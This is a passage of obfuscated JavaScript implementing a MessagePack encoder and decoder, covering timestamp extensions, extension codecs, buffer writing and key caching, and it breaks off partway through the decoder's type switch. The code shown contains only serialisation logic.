function decodeTimestampToTimeSpec(_0x274ea7) {
const _0x482b0e2 = potato,
_0x69 = new DataView(_0x274ea7["buffer"], _0x274ea7["byteOffset"], _0x274ea7["byteLength"]);
switch (_0x274ea7["byteLength"]) {
case 4: {
const _0x29a2 = _0x69["getUint32"](0),
_0x5d2 = 0;
return {
"sec": _0x29a2,
"nsec": _0x5d2
};
}
case 8: {
const _0x4a662c4 = _0x69["getUint32"](0),
_0x22d2 = _0x69["getUint32"](4),
_0x4f243d3 = (_0x4a662c4 & 3) * 4294967296 + _0x22d2,
_0x305fe2 = _0x4a662c4 >>> 2;
return {
"sec": _0x4f243d3,
"nsec": _0x305fe2
};
}
case 12: {
const _0x55af2 = getInt64(_0x69, 4),
_0x3e1e2 = _0x69["getUint32"](0);
return {
"sec": _0x55af2,
"nsec": _0x3e1e2
};
}
default:
throw new DecodeError("Unrecognized data size for timestamp (expected 4, 8, or 12): " + _0x274ea7["length"]);
}
}
function decodeTimestampExtension(_0x322f0f3) {
const _0x14e = potato,
_0x13dcc3 = decodeTimestampToTimeSpec(_0x322f0f3);
return new Date(_0x13dcc3["sec"] * 1000 + _0x13dcc3["nsec"] / 1000000);
}
var timestampExtension = {
"type": EXT_TIMESTAMP,
"encode": encodeTimestampExtension,
"decode": decodeTimestampExtension
},
ExtensionCodec = class {
constructor() {
const _0x3233c = potato;
this["builtInEncoders"] = [], this["builtInDecoders"] = [], this["encoders"] = [], this["decoders"] = [], this["register"](timestampExtension);
}
["register"]({
type: _0x1c35c6,
encode: _0x2db7f3,
decode: _0x5a0f3
}) {
const _0x17c = potato;
if (_0x1c35c6 >= 0) this["encoders"][_0x1c35c6] = _0x2db7f3, this["decoders"][_0x1c35c6] = _0x5a0f3;
else {
const _0x12ac3 = -1 - _0x1c35c6;
this["builtInEncoders"][_0x12ac3] = _0x2db7f3, this["builtInDecoders"][_0x12ac3] = _0x5a0f3;
}
}
["tryToEncode"](_0x37cec6, _0x541c3b4) {
const _0x70 = potato;
for (let _0x35095e6 = 0; _0x35095e6 < this["builtInEncoders"]["length"]; _0x35095e6++) {
const _0x21cafc4 = this["builtInEncoders"][_0x35095e6];
if (_0x21cafc4 != null) {
const _0x1d2b3 = _0x21cafc4(_0x37cec6, _0x541c3b4);
if (_0x1d2b3 != null) {
const _0x165a2 = -1 - _0x35095e6;
return new ExtData(_0x165a2, _0x1d2b3);
}
}
}
for (let _0x37c5 = 0; _0x37c5 < this["encoders"]["length"]; _0x37c5++) {
const _0x1fe3ea4 = this["encoders"][_0x37c5];
if (_0x1fe3ea4 != null) {
const _0x3bbe3 = _0x1fe3ea4(_0x37cec6, _0x541c3b4);
if (_0x3bbe3 != null) {
const _0x1b1b9b3 = _0x37c5;
return new ExtData(_0x1b1b9b3, _0x3bbe3);
}
}
}
if (_0x37cec6 instanceof ExtData) return _0x37cec6;
return null;
}
["decode"](_0x123ff4, _0x40419c7, _0x2486b2) {
const _0x71 = potato,
_0x46a24f4 = _0x40419c7 < 0 ? this["builtInDecoders"][-1 - _0x40419c7] : this["decoders"][_0x40419c7];
return _0x46a24f4 ? _0x46a24f4(_0x123ff4, _0x40419c7, _0x2486b2) : new ExtData(_0x40419c7, _0x123ff4);
}
};
ExtensionCodec["defaultCodec"] = new ExtensionCodec();
function isArrayBufferLike(_0x74) {
const _0x22d3 = potato;
return _0x74 instanceof ArrayBuffer || typeof SharedArrayBuffer !== "undefined" && _0x74 instanceof SharedArrayBuffer;
}
function ensureUint8Array(_0xf9943b1) {
const _0x4b0a5d2 = potato;
if (_0xf9943b1 instanceof Uint8Array) return _0xf9943b1;
else {
if (ArrayBuffer["isView"](_0xf9943b1)) return new Uint8Array(_0xf9943b1["buffer"], _0xf9943b1["byteOffset"], _0xf9943b1["byteLength"]);
else return isArrayBufferLike(_0xf9943b1) ? new Uint8Array(_0xf9943b1) : Uint8Array["from"](_0xf9943b1);
}
}
var DEFAULT_MAX_DEPTH = 100,
DEFAULT_INITIAL_BUFFER_SIZE = 2048,
Encoder = class _Encoder {
constructor(_0x46771f1) {
const _0x75 = potato;
this["entered"] = ![], this["extensionCodec"] = _0x46771f1?. ["extensionCodec"] ?? ExtensionCodec["defaultCodec"], this["context"] = _0x46771f1?. ["context"], this["useBigInt64"] = _0x46771f1?. ["useBigInt64"] ?? ![], this["maxDepth"] = _0x46771f1?. ["maxDepth"] ?? DEFAULT_MAX_DEPTH, this["initialBufferSize"] = _0x46771f1?. ["initialBufferSize"] ?? DEFAULT_INITIAL_BUFFER_SIZE, this["sortKeys"] = _0x46771f1?. ["sortKeys"] ?? ![], this["forceFloat32"] = _0x46771f1?. ["forceFloat32"] ?? ![], this["ignoreUndefined"] = _0x46771f1?. ["ignoreUndefined"] ?? ![], this["forceIntegerToFloat"] = _0x46771f1?. ["forceIntegerToFloat"] ?? ![], this["pos"] = 0, this["view"] = new DataView(new ArrayBuffer(this["initialBufferSize"])), this["bytes"] = new Uint8Array(this["view"]["buffer"]);
}
["clone"]() {
const _0x54d = potato;
return new _Encoder({
"extensionCodec": this["extensionCodec"],
"context": this["context"],
"useBigInt64": this["useBigInt64"],
"maxDepth": this["maxDepth"],
"initialBufferSize": this["initialBufferSize"],
"sortKeys": this["sortKeys"],
"forceFloat32": this["forceFloat32"],
"ignoreUndefined": this["ignoreUndefined"],
"forceIntegerToFloat": this["forceIntegerToFloat"]
});
}
["reinitializeState"]() {
const _0xe8c0a = potato;
this["pos"] = 0;
}
["encodeSharedRef"](_0x78) {
const _0x4e = potato;
if (this["entered"]) {
const _0x26f2 = this["clone"]();
return _0x26f2["encodeSharedRef"](_0x78);
}
try {
return this["entered"] = !![], this["reinitializeState"](), this["doEncode"](_0x78, 1), this["bytes"]["subarray"](0, this["pos"]);
} finally {
this["entered"] = ![];
}
}
["encode"](_0x4861f3) {
const _0x2e239c2 = potato;
if (this["entered"]) {
const _0x22f5ff3 = this["clone"]();
return _0x22f5ff3["encode"](_0x4861f3);
}
try {
return this["entered"] = !![], this["reinitializeState"](), this["doEncode"](_0x4861f3, 1), this["bytes"]["slice"](0, this["pos"]);
} finally {
this["entered"] = ![];
}
}
["doEncode"](_0x2eff10, _0x3b102f5) {
const _0x44ec = potato;
if (_0x3b102f5 > this["maxDepth"]) throw new Error("Too deep objects in depth " + _0x3b102f5);
if (_0x2eff10 == null) this["encodeNil"]();
else {
if (typeof _0x2eff10 === "boolean") this["encodeBoolean"](_0x2eff10);
else {
if (typeof _0x2eff10 === "number") !this["forceIntegerToFloat"] ? this["encodeNumber"](_0x2eff10) : this["encodeNumberAsFloat"](_0x2eff10);
else {
if (typeof _0x2eff10 === "string") this["encodeString"](_0x2eff10);
else this["useBigInt64"] && typeof _0x2eff10 === "bigint" ? this["encodeBigInt64"](_0x2eff10) : this["encodeObject"](_0x2eff10, _0x3b102f5);
}
}
}
}
["ensureBufferSizeToWrite"](_0x16c1ce3) {
const _0x420ab = potato,
_0xf55b3 = this["pos"] + _0x16c1ce3;
this["view"]["byteLength"] < _0xf55b3 && this["resizeBuffer"](_0xf55b3 * 2);
}
["resizeBuffer"](_0x43a89b3) {
const _0x542abd2 = potato,
_0x81 = new ArrayBuffer(_0x43a89b3),
_0x4d66a3 = new Uint8Array(_0x81),
_0x4f9ad2 = new DataView(_0x81);
_0x4d66a3["set"](this["bytes"]), this["view"] = _0x4f9ad2, this["bytes"] = _0x4d66a3;
}
["encodeNil"]() {
this["writeU8"](192);
}
["encodeBoolean"](_0x596e2) {
const _0x2b45bd2 = potato;
_0x596e2 === ![] ? this["writeU8"](194) : this["writeU8"](195);
}
["encodeNumber"](_0x13eeb23) {
const _0xab86b = potato;
if (!this["forceIntegerToFloat"] && Number["isSafeInteger"](_0x13eeb23)) {
if (_0x13eeb23 >= 0) {
if (_0x13eeb23 < 128) this["writeU8"](_0x13eeb23);
else {
if (_0x13eeb23 < 256) this["writeU8"](204), this["writeU8"](_0x13eeb23);
else {
if (_0x13eeb23 < 65536) this["writeU8"](205), this["writeU16"](_0x13eeb23);
else {
if (_0x13eeb23 < 4294967296) this["writeU8"](206), this["writeU32"](_0x13eeb23);
else !this["useBigInt64"] ? (this["writeU8"](207), this["writeU64"](_0x13eeb23)) : this["encodeNumberAsFloat"](_0x13eeb23);
}
}
}
} else {
if (_0x13eeb23 >= -32) this["writeU8"](224 | _0x13eeb23 + 32);
else {
if (_0x13eeb23 >= -128) this["writeU8"](208), this["writeI8"](_0x13eeb23);
else {
if (_0x13eeb23 >= -32768) this["writeU8"](209), this["writeI16"](_0x13eeb23);
else {
if (_0x13eeb23 >= -2147483648) this["writeU8"](210), this["writeI32"](_0x13eeb23);
else !this["useBigInt64"] ? (this["writeU8"](211), this["writeI64"](_0x13eeb23)) : this["encodeNumberAsFloat"](_0x13eeb23);
}
}
}
}
} else this["encodeNumberAsFloat"](_0x13eeb23);
}
["encodeNumberAsFloat"](_0x1c457d4) {
const _0x4d6aed2 = potato;
this["forceFloat32"] ? (this["writeU8"](202), this["writeF32"](_0x1c457d4)) : (this["writeU8"](203), this["writeF64"](_0x1c457d4));
}
["encodeBigInt64"](_0x85) {
const _0x20acc = potato;
_0x85 >= BigInt(0) ? (this["writeU8"](207), this["writeBigUint64"](_0x85)) : (this["writeU8"](211), this["writeBigInt64"](_0x85));
}
["writeStringHeader"](_0xedf7cc1) {
const _0x3701a = potato;
if (_0xedf7cc1 < 32) this["writeU8"](160 + _0xedf7cc1);
else {
if (_0xedf7cc1 < 256) this["writeU8"](217), this["writeU8"](_0xedf7cc1);
else {
if (_0xedf7cc1 < 65536) this["writeU8"](218), this["writeU16"](_0xedf7cc1);
else {
if (_0xedf7cc1 < 4294967296) this["writeU8"](219), this["writeU32"](_0xedf7cc1);
else throw new Error("Too long string: " + _0xedf7cc1 + " bytes in UTF-8");
}
}
}
}
["encodeString"](_0x358e3) {
const _0x4dd6c = potato,
_0x57a20b3 = 1 + 4,
_0x5b98d4 = utf8Count(_0x358e3);
this["ensureBufferSizeToWrite"](_0x57a20b3 + _0x5b98d4), this["writeStringHeader"](_0x5b98d4), utf8Encode(_0x358e3, this["bytes"], this["pos"]), this["pos"] += _0x5b98d4;
}
["encodeObject"](_0xb04c9, _0xa6) {
const _0x45b = potato,
_0x3eee3 = this["extensionCodec"]["tryToEncode"](_0xb04c9, this["context"]);
if (_0x3eee3 != null) this["encodeExtension"](_0x3eee3);
else {
if (Array["isArray"](_0xb04c9)) this["encodeArray"](_0xb04c9, _0xa6);
else {
if (ArrayBuffer["isView"](_0xb04c9)) this["encodeBinary"](_0xb04c9);
else {
if (typeof _0xb04c9 === "object") this["encodeMap"](_0xb04c9, _0xa6);
else throw new Error("Unrecognized object: " + Object["prototype"]["toString"]["apply"](_0xb04c9));
}
}
}
}
["encodeBinary"](_0x80401e4) {
const _0x2c82f = potato,
_0x9295b9 = _0x80401e4["byteLength"];
if (_0x9295b9 < 256) this["writeU8"](196), this["writeU8"](_0x9295b9);
else {
if (_0x9295b9 < 65536) this["writeU8"](197), this["writeU16"](_0x9295b9);
else {
if (_0x9295b9 < 4294967296) this["writeU8"](198), this["writeU32"](_0x9295b9);
else throw new Error("Too large binary: " + _0x9295b9);
}
}
const _0x40bbf2 = ensureUint8Array(_0x80401e4);
this["writeU8a"](_0x40bbf2);
}
["encodeArray"](_0x3dae0e4, _0x42cefc3) {
const _0x86 = potato,
_0x1437c9 = _0x3dae0e4["length"];
if (_0x1437c9 < 16) this["writeU8"](144 + _0x1437c9);
else {
if (_0x1437c9 < 65536) this["writeU8"](220), this["writeU16"](_0x1437c9);
else {
if (_0x1437c9 < 4294967296) this["writeU8"](221), this["writeU32"](_0x1437c9);
else throw new Error("Too large array: " + _0x1437c9);
}
}
for (const _0x47aa2 of _0x3dae0e4) {
this["doEncode"](_0x47aa2, _0x42cefc3 + 1);
}
}
["countWithoutUndefined"](_0x88, _0x316dec3) {
let _0xac0b3 = 0;
for (const _0x56e9f2 of _0x316dec3) {
_0x88[_0x56e9f2] !== void 0 && _0xac0b3++;
}
return _0xac0b3;
}
["encodeMap"](_0x51a4, _0x24f2) {
const _0x16d = potato,
_0x93 = Object["keys"](_0x51a4);
this["sortKeys"] && _0x93["sort"]();
const _0x1162e8 = this["ignoreUndefined"] ? this["countWithoutUndefined"](_0x51a4, _0x93) : _0x93["length"];
if (_0x1162e8 < 16) this["writeU8"](128 + _0x1162e8);
else {
if (_0x1162e8 < 65536) this["writeU8"](222), this["writeU16"](_0x1162e8);
else {
if (_0x1162e8 < 4294967296) this["writeU8"](223), this["writeU32"](_0x1162e8);
else throw new Error("Too large map object: " + _0x1162e8);
}
}
for (const _0x479a3 of _0x93) {
const _0x1dbe3 = _0x51a4[_0x479a3];
!(this["ignoreUndefined"] && _0x1dbe3 === void 0) && (this["encodeString"](_0x479a3), this["doEncode"](_0x1dbe3, _0x24f2 + 1));
}
}
["encodeExtension"](_0xc816b7) {
const _0x5ee4da2 = potato;
if (typeof _0xc816b7["data"] === "function") {
const _0x535d3 = _0xc816b7["data"](this["pos"] + 6),
_0x97 = _0x535d3["length"];
if (_0x97 >= 4294967296) throw new Error("Too large extension object: " + _0x97);
this["writeU8"](201), this["writeU32"](_0x97), this["writeI8"](_0xc816b7["type"]), this["writeU8a"](_0x535d3);
return;
}
const _0x412e11 = _0xc816b7["data"]["length"];
if (_0x412e11 === 1) this["writeU8"](212);
else {
if (_0x412e11 === 2) this["writeU8"](213);
else {
if (_0x412e11 === 4) this["writeU8"](214);
else {
if (_0x412e11 === 8) this["writeU8"](215);
else {
if (_0x412e11 === 16) this["writeU8"](216);
else {
if (_0x412e11 < 256) this["writeU8"](199), this["writeU8"](_0x412e11);
else {
if (_0x412e11 < 65536) this["writeU8"](200), this["writeU16"](_0x412e11);
else {
if (_0x412e11 < 4294967296) this["writeU8"](201), this["writeU32"](_0x412e11);
else throw new Error("Too large extension object: " + _0x412e11);
}
}
}
}
}
}
}
this["writeI8"](_0xc816b7["type"]), this["writeU8a"](_0xc816b7["data"]);
}
["writeU8"](_0x52d34c3) {
const _0x98 = potato;
this["ensureBufferSizeToWrite"](1), this["view"]["setUint8"](this["pos"], _0x52d34c3), this["pos"]++;
}
["writeU8a"](_0x3b1a8e4) {
const _0x4e6fdd2 = potato,
_0x43d3 = _0x3b1a8e4["length"];
this["ensureBufferSizeToWrite"](_0x43d3), this["bytes"]["set"](_0x3b1a8e4, this["pos"]), this["pos"] += _0x43d3;
}
["writeI8"](_0x14a1e3) {
const _0x5ace = potato;
this["ensureBufferSizeToWrite"](1), this["view"]["setInt8"](this["pos"], _0x14a1e3), this["pos"]++;
}
["writeU16"](_0x56d2) {
const _0x4a22ac2 = potato;
this["ensureBufferSizeToWrite"](2), this["view"]["setUint16"](this["pos"], _0x56d2), this["pos"] += 2;
}
["writeI16"](_0xc1f2) {
const _0x39d8dc2 = potato;
this["ensureBufferSizeToWrite"](2), this["view"]["setInt16"](this["pos"], _0xc1f2), this["pos"] += 2;
}
["writeU32"](_0x2529e2) {
const _0x468f = potato;
this["ensureBufferSizeToWrite"](4), this["view"]["setUint32"](this["pos"], _0x2529e2), this["pos"] += 4;
}
["writeI32"](_0x4f2c7d3) {
const _0x2feb = potato;
this["ensureBufferSizeToWrite"](4), this["view"]["setInt32"](this["pos"], _0x4f2c7d3), this["pos"] += 4;
}
["writeF32"](_0x2e699a3) {
const _0x68a1a = potato;
this["ensureBufferSizeToWrite"](4), this["view"]["setFloat32"](this["pos"], _0x2e699a3), this["pos"] += 4;
}
["writeF64"](_0x3dd2aa3) {
const _0x49181a2 = potato;
this["ensureBufferSizeToWrite"](8), this["view"]["setFloat64"](this["pos"], _0x3dd2aa3), this["pos"] += 8;
}
["writeU64"](_0x3c2) {
const _0x58f47d2 = potato;
this["ensureBufferSizeToWrite"](8), setUint64(this["view"], this["pos"], _0x3c2), this["pos"] += 8;
}
["writeI64"](_0x18a2) {
const _0x2213ca2 = potato;
this["ensureBufferSizeToWrite"](8), setInt64(this["view"], this["pos"], _0x18a2), this["pos"] += 8;
}
["writeBigUint64"](_0x24339c3) {
const _0x99 = potato;
this["ensureBufferSizeToWrite"](8), this["view"]["setBigUint64"](this["pos"], _0x24339c3), this["pos"] += 8;
}
["writeBigInt64"](_0x2c4) {
const _0x12abeb2 = potato;
this["ensureBufferSizeToWrite"](8), this["view"]["setBigInt64"](this["pos"], _0x2c4), this["pos"] += 8;
}
};
function encode(_0x597ac2, _0x51797b3) {
const _0x100 = potato,
_0x27a37d3 = new Encoder(_0x51797b3);
return _0x27a37d3["encodeSharedRef"](_0x597ac2);
}
function prettyByte(_0x52ff3) {
const _0x4634f = potato;
return (_0x52ff3 < 0 ? "-" : "") + "0x" + Math["abs"](_0x52ff3)["toString"](16)["padStart"](2, "0");
}
var DEFAULT_MAX_KEY_LENGTH = 16,
DEFAULT_MAX_LENGTH_PER_KEY = 16,
CachedKeyDecoder = class {
constructor(_0x36fe2 = DEFAULT_MAX_KEY_LENGTH, _0x41d2 = DEFAULT_MAX_LENGTH_PER_KEY) {
const _0x5b2fc = potato;
this["hit"] = 0, this["miss"] = 0, this["maxKeyLength"] = _0x36fe2, this["maxLengthPerKey"] = _0x41d2, this["caches"] = [];
for (let _0x4431bf4 = 0; _0x4431bf4 < this["maxKeyLength"]; _0x4431bf4++) {
this["caches"]["push"]([]);
}
}
["canBeCached"](_0x46a3) {
const _0x2d543e2 = potato;
return _0x46a3 > 0 && _0x46a3 <= this["maxKeyLength"];
}
["find"](_0x1abe3d3, _0x102, _0x4bc3) {
const _0x36f7bf3 = this["caches"][_0x4bc3 - 1];
_0x2bd88a: for (const _0x495cc3 of _0x36f7bf3) {
const _0x23eca2 = _0x495cc3["bytes"];
for (let _0x58c27a6 = 0; _0x58c27a6 < _0x4bc3; _0x58c27a6++) {
if (_0x23eca2[_0x58c27a6] !== _0x1abe3d3[_0x102 + _0x58c27a6]) continue _0x2bd88a;
}
return _0x495cc3["str"];
}
return null;
}
["store"](_0x3b6c3, _0x19cdad3) {
const _0x27731e2 = potato,
_0x30a5 = this["caches"][_0x3b6c3["length"] - 1],
_0x57cb6f4 = {
"bytes": _0x3b6c3,
"str": _0x19cdad3
};
_0x30a5["length"] >= this["maxLengthPerKey"] ? _0x30a5[Math["random"]() * _0x30a5["length"] | 0] = _0x57cb6f4 : _0x30a5["push"](_0x57cb6f4);
}
["decode"](_0x19dfe4, _0x107, _0x58c0b5) {
const _0x2162a = potato,
_0x3a026d4 = this["find"](_0x19dfe4, _0x107, _0x58c0b5);
if (_0x3a026d4 != null) return this["hit"]++, _0x3a026d4;
this["miss"]++;
const _0x5ad3 = utf8DecodeJs(_0x19dfe4, _0x107, _0x58c0b5),
_0x2de69e3 = Uint8Array["prototype"]["slice"]["call"](_0x19dfe4, _0x107, _0x107 + _0x58c0b5);
return this["store"](_0x2de69e3, _0x5ad3), _0x5ad3;
}
},
STATE_ARRAY = "array",
STATE_MAP_KEY = "map_key",
STATE_MAP_VALUE = "map_value",
mapKeyConverter = _0x10c07c6 => {
const _0x3ecb = potato;
if (typeof _0x10c07c6 === "string" || typeof _0x10c07c6 === "number") return _0x10c07c6;
throw new DecodeError("The type of key must be string or number but " + typeof _0x10c07c6);
},
StackPool = class {
constructor() {
const _0x44a2c = potato;
this["stack"] = [], this["stackHeadPosition"] = -1;
}
get["length"]() {
const _0x22484a2 = potato;
return this["stackHeadPosition"] + 1;
}
["top"]() {
const _0xf90dde2 = potato;
return this["stack"][this["stackHeadPosition"]];
}
["pushArrayState"](_0x6b95db4) {
const _0x122d = potato,
_0x55e9c6 = this["getUninitializedStateFromPool"]();
_0x55e9c6["type"] = STATE_ARRAY, _0x55e9c6["position"] = 0, _0x55e9c6["size"] = _0x6b95db4, _0x55e9c6["array"] = new Array(_0x6b95db4);
}
["pushMapState"](_0x56d4) {
const _0x108 = potato,
_0x511b5 = this["getUninitializedStateFromPool"]();
_0x511b5["type"] = STATE_MAP_KEY, _0x511b5["readCount"] = 0, _0x511b5["size"] = _0x56d4, _0x511b5["map"] = {};
}
["getUninitializedStateFromPool"]() {
const _0x3d2c6d2 = potato;
this["stackHeadPosition"]++;
if (this["stackHeadPosition"] === this["stack"]["length"]) {
const _0x16cfc2 = {
"type": void 0,
"size": 0,
"array": void 0,
"position": 0,
"readCount": 0,
"map": void 0,
"key": null
};
this["stack"]["push"](_0x16cfc2);
}
return this["stack"][this["stackHeadPosition"]];
}
["release"](_0x257fe8) {
const _0x3aca9a2 = potato,
_0xccd2 = this["stack"][this["stackHeadPosition"]];
if (_0xccd2 !== _0x257fe8) throw new Error("Invalid stack state. Released state is not on top of the stack.");
if (_0x257fe8["type"] === STATE_ARRAY) {
const _0x163df5 = _0x257fe8;
_0x163df5["size"] = 0, _0x163df5["array"] = void 0, _0x163df5["position"] = 0, _0x163df5["type"] = void 0;
}
if (_0x257fe8["type"] === STATE_MAP_KEY || _0x257fe8["type"] === STATE_MAP_VALUE) {
const _0x1af5 = _0x257fe8;
_0x1af5["size"] = 0, _0x1af5["map"] = void 0, _0x1af5["readCount"] = 0, _0x1af5["type"] = void 0;
}
this["stackHeadPosition"]--;
}
["reset"]() {
const _0x22d4 = potato;
this["stack"]["length"] = 0, this["stackHeadPosition"] = -1;
}
},
HEAD_BYTE_REQUIRED = -1,
EMPTY_VIEW = new DataView(new ArrayBuffer(0)),
EMPTY_BYTES = new Uint8Array(EMPTY_VIEW["buffer"]);
try {
EMPTY_VIEW["getInt8"](0);
} catch (_0x2c8d9a3) {
if (!(_0x2c8d9a3 instanceof RangeError)) throw new Error("This module is not supported in the current JavaScript engine because DataView does not throw RangeError on out-of-bounds access");
}
var MORE_DATA = new RangeError("Insufficient data"),
sharedCachedKeyDecoder = new CachedKeyDecoder(),
Decoder = class _Decoder {
constructor(_0x5d09be12) {
const _0x5a7b5b2 = potato;
this["totalPos"] = 0, this["pos"] = 0, this["view"] = EMPTY_VIEW, this["bytes"] = EMPTY_BYTES, this["headByte"] = HEAD_BYTE_REQUIRED, this["stack"] = new StackPool(), this["entered"] = ![], this["extensionCodec"] = _0x5d09be12?. ["extensionCodec"] ?? ExtensionCodec["defaultCodec"], this["context"] = _0x5d09be12?. ["context"], this["useBigInt64"] = _0x5d09be12?. ["useBigInt64"] ?? ![], this["rawStrings"] = _0x5d09be12?. ["rawStrings"] ?? ![], this["maxStrLength"] = _0x5d09be12?. ["maxStrLength"] ?? UINT32_MAX, this["maxBinLength"] = _0x5d09be12?. ["maxBinLength"] ?? UINT32_MAX, this["maxArrayLength"] = _0x5d09be12?. ["maxArrayLength"] ?? UINT32_MAX, this["maxMapLength"] = _0x5d09be12?. ["maxMapLength"] ?? UINT32_MAX, this["maxExtLength"] = _0x5d09be12?. ["maxExtLength"] ?? UINT32_MAX, this["keyDecoder"] = _0x5d09be12?. ["keyDecoder"] !== void 0 ? _0x5d09be12["keyDecoder"] : sharedCachedKeyDecoder, this["mapKeyConverter"] = _0x5d09be12?. ["mapKeyConverter"] ?? mapKeyConverter;
}
["clone"]() {
const _0x1f42b = potato;
return new _Decoder({
"extensionCodec": this["extensionCodec"],
"context": this["context"],
"useBigInt64": this["useBigInt64"],
"rawStrings": this["rawStrings"],
"maxStrLength": this["maxStrLength"],
"maxBinLength": this["maxBinLength"],
"maxArrayLength": this["maxArrayLength"],
"maxMapLength": this["maxMapLength"],
"maxExtLength": this["maxExtLength"],
"keyDecoder": this["keyDecoder"]
});
}
["reinitializeState"]() {
const _0xf11af = potato;
this["totalPos"] = 0, this["headByte"] = HEAD_BYTE_REQUIRED, this["stack"]["reset"]();
}
["setBuffer"](_0x210d2) {
const _0x1b02b = potato,
_0xdb32a6 = ensureUint8Array(_0x210d2);
this["bytes"] = _0xdb32a6, this["view"] = new DataView(_0xdb32a6["buffer"], _0xdb32a6["byteOffset"], _0xdb32a6["byteLength"]), this["pos"] = 0;
}
["appendBuffer"](_0x2529fa4) {
const _0xf6c1e = potato;
if (this["headByte"] === HEAD_BYTE_REQUIRED && !this["hasRemaining"](1)) this["setBuffer"](_0x2529fa4);
else {
const _0x11adea5 = this["bytes"]["subarray"](this["pos"]),
_0x47c3 = ensureUint8Array(_0x2529fa4),
_0x46e43d5 = new Uint8Array(_0x11adea5["length"] + _0x47c3["length"]);
_0x46e43d5["set"](_0x11adea5), _0x46e43d5["set"](_0x47c3, _0x11adea5["length"]), this["setBuffer"](_0x46e43d5);
}
}
["hasRemaining"](_0x27a1ba3) {
const _0x19ca = potato;
return this["view"]["byteLength"] - this["pos"] >= _0x27a1ba3;
}
["createExtraByteError"](_0x1b223f3) {
const _0x3c9bc = potato,
{
view: _0x54c3,
pos: _0x2e54d2
} = this;
return new RangeError("Extra " + (_0x54c3["byteLength"] - _0x2e54d2) + " of " + _0x54c3["byteLength"] + " byte(s) found at buffer[" + _0x1b223f3 + "]");
}
["decode"](_0x5e9d7a4) {
const _0x1c61d = potato;
if (this["entered"]) {
const _0xe7fc2 = this["clone"]();
return _0xe7fc2["decode"](_0x5e9d7a4);
}
try {
this["entered"] = !![], this["reinitializeState"](), this["setBuffer"](_0x5e9d7a4);
const _0x3c956d3 = this["doDecodeSync"]();
if (this["hasRemaining"](1)) throw this["createExtraByteError"](this["pos"]);
return _0x3c956d3;
} finally {
this["entered"] = ![];
}
}
*["decodeMulti"](_0x36a9e4) {
const _0x9dac = potato;
if (this["entered"]) {
const _0x46fadf3 = this["clone"]();
yield* _0x46fadf3["decodeMulti"](_0x36a9e4);
return;
}
try {
this["entered"] = !![], this["reinitializeState"](), this["setBuffer"](_0x36a9e4);
while (this["hasRemaining"](1)) {
yield this["doDecodeSync"]();
}
} finally {
this["entered"] = ![];
}
}
async ["decodeAsync"](_0x3e3) {
const _0x1a3fa = potato;
if (this["entered"]) {
const _0x1ee04d3 = this["clone"]();
return _0x1ee04d3["decodeAsync"](_0x3e3);
}
try {
this["entered"] = !![];
let _0x3f6c4 = ![],
_0x31c55d4;
for await (const _0x2dfb2 of _0x3e3) {
if (_0x3f6c4) {
this["entered"] = ![];
throw this["createExtraByteError"](this["totalPos"]);
}
this["appendBuffer"](_0x2dfb2);
try {
_0x31c55d4 = this["doDecodeSync"](), _0x3f6c4 = !![];
} catch (_0xee3) {
if (!(_0xee3 instanceof RangeError)) throw _0xee3;
}
this["totalPos"] += this["pos"];
}
if (_0x3f6c4) {
if (this["hasRemaining"](1)) throw this["createExtraByteError"](this["totalPos"]);
return _0x31c55d4;
}
const {
headByte: _0x1fe98b3,
pos: _0x2858d2,
totalPos: _0x6ef2
} = this;
throw new RangeError("Insufficient data in parsing " + prettyByte(_0x1fe98b3) + " at " + _0x6ef2 + " (" + _0x2858d2 + " in the current buffer)");
} finally {
this["entered"] = ![];
}
}
["decodeArrayStream"](_0x1956c3) {
const _0x42c = potato;
return this["decodeMultiAsync"](_0x1956c3, !![]);
}
["decodeStream"](_0xd3117a3) {
const _0x17f = potato;
return this["decodeMultiAsync"](_0xd3117a3, ![]);
}
async *["decodeMultiAsync"](_0x5566aa4, _0x396c4) {
const _0x109 = potato;
if (this["entered"]) {
const _0x37588c3 = this["clone"]();
yield* _0x37588c3["decodeMultiAsync"](_0x5566aa4, _0x396c4);
return;
}
try {
this["entered"] = !![];
let _0x15ab3 = _0x396c4,
_0x1ad11d5 = -1;
for await (const _0x1c3df2 of _0x5566aa4) {
if (_0x396c4 && _0x1ad11d5 === 0) throw this["createExtraByteError"](this["totalPos"]);
this["appendBuffer"](_0x1c3df2);
_0x15ab3 && (_0x1ad11d5 = this["readArraySize"](), _0x15ab3 = ![], this["complete"]());
try {
while (!![]) {
yield this["doDecodeSync"]();
if (--_0x1ad11d5 === 0) break;
}
} catch (_0x4df5d3) {
if (!(_0x4df5d3 instanceof RangeError)) throw _0x4df5d3;
}
this["totalPos"] += this["pos"];
}
} finally {
this["entered"] = ![];
}
}
["doDecodeSync"]() {
const _0x2d3d7b2 = potato;
_0x1b39bc: while (!![]) {
const _0x64e41 = this["readHeadByte"]();
let _0x155;
if (_0x64e41 >= 224) _0x155 = _0x64e41 - 256;
else {
if (_0x64e41 < 192) {
if (_0x64e41 < 128) _0x155 = _0x64e41;
else {
if (_0x64e41 < 144) {
const _0x1289b3 = _0x64e41 - 128;
if (_0x1289b3 !== 0) {
this["pushMapState"](_0x1289b3), this["complete"]();
continue _0x1b39bc;
} else _0x155 = {};
} else {
if (_0x64e41 < 160) {
const _0x419b7e4 = _0x64e41 - 144;
if (_0x419b7e4 !== 0) {
this["pushArrayState"](_0x419b7e4), this["complete"]();
continue _0x1b39bc;
} else _0x155 = [];
} else {
const _0x318ee2 = _0x64e41 - 160;
_0x155 = this["decodeString"](_0x318ee2, 0);
}
}
}
} else {
if (_0x64e41 === 192) _0x155 = null;
else {
if (_0x64e41 === 194) _0x155 = ![];
else {
if (_0x64e41 === 195) _0x155 = !![];
else {
if (_0x64e41 === 202) _0x155 = this["readF32"]();
else {
if (_0x64e41 === 203) _0x155 = this["readF64"]();
else {
if (_0x64e41 === 204) _0x155 = this["readU8"]();
else {
if (_0x64e41 === 205) _0x155 = this["readU16"]();
else {
if (_0x64e41 === 206) _0x155 = this["readU32"]();
else {
if (_0x64e41 === 207) this["useBigInt64"] ? _0x155 = this["readU64AsBigInt"]() : _0x155 = this["readU64"]();
else {
if (_0x64e41 === 208) _0x155 = this["readI8"]();
else {
if (_0x64e41 === 209) _0x155 = this["readI16"]();
else {
if (_0x64e41 === 210) _0x155 = this["readI32"]();
else {
if (_0x64e41 === 211) this["useBigInt64"] ? _0x155 = this["readI64AsBigInt"]() : _0x155 = this["readI64"]();
else {
if (_0x64e41 === 217) {
const _0x234e2 = this["lookU8"]();
_0x155 = this["decodeString"](_0x234e2, 1);
} else {
if (_0x64e41 === 218) {
